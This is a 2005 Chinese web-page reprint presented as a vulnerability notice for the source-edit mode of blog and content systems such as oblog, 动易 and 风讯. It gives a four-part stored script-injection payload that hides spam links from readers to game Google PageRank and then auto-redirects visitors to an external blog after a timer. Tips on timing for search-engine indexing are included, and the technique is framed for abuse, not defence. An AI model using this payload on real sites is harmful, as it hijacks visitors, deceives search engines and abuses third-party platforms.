赞助广告 赞助广告
  当前位置:网络学院ASP技术安全加密 → 关于oblog、动易、风讯等拥有源码编辑方式的系统发布漏洞公告
关于oblog、动易、风讯等拥有源码编辑方式的系统发布漏洞公告
日期:2005年9月22日 作者: 人气: 查看:[大字体 中字体 小字体]
目前的oblog、动易、风讯等一系列著名的系统,都存在源码编辑漏洞。

具体操作是:

1,进入“源码”编辑

2,输入阶段公分四段:

第一段:<此处输入正文,做事需要手下留情嘛,来点实际内容>
第二段:<script>document.write('<div style="display:none">');</script>
第三段:<此处输入作弊链接,获取google的pr值,此处的内容将不会被浏览者看  到,且不会被搜索引擎发现>
第四段:<SCRIPT>window.setTimeout("Timer()", 1000);function Timer(){document.location='http://blog.im54.com';}</SCRIPT>
第一段你可以略过,如果你想剧烈的强奸的话。第二段代码是为了隐藏第三段的链接。第四段为定时和跳转。将时间设定超过10秒为好,呵呵有利于搜索引擎收录嘛。
也可以不设置时间或将时间设置为0,那么点击该页面后将直接跳转到指定页面。

3,提交。

此方法目前没有解决ubb转换的问题。但是作者目前发现大部分的文章系统什么论坛等都没有进行ubb转换,动网论坛目前暂时无法强奸,正在进一步研究中。

(出处:CodeFans转载)

相关文章:
 
·乔客论坛惊暴UPfile严重漏洞!
·堵住ASP漏洞
·最新的ASP、IIS安全漏洞
·惊云下载系统又暴惊天漏洞
·IE中发现允许“冒充”Web服务器的漏洞
·微软IE中又发现两个安全漏洞
·微软修补其IIS软件中的又一处安全漏洞
·Win2000有严重安全漏洞,微软推出补丁程序
·FTP服务器软件中发现安全漏洞
·微软Exchange软件存在安全漏洞
相关软件:
 
·asp漏洞
·安铁诺防病毒软件漏洞扫描工具
·先锋无组件上传类(杜绝上传漏洞版) v2004
·3389输入法漏洞使用说明
  特别推荐
  热点TOP10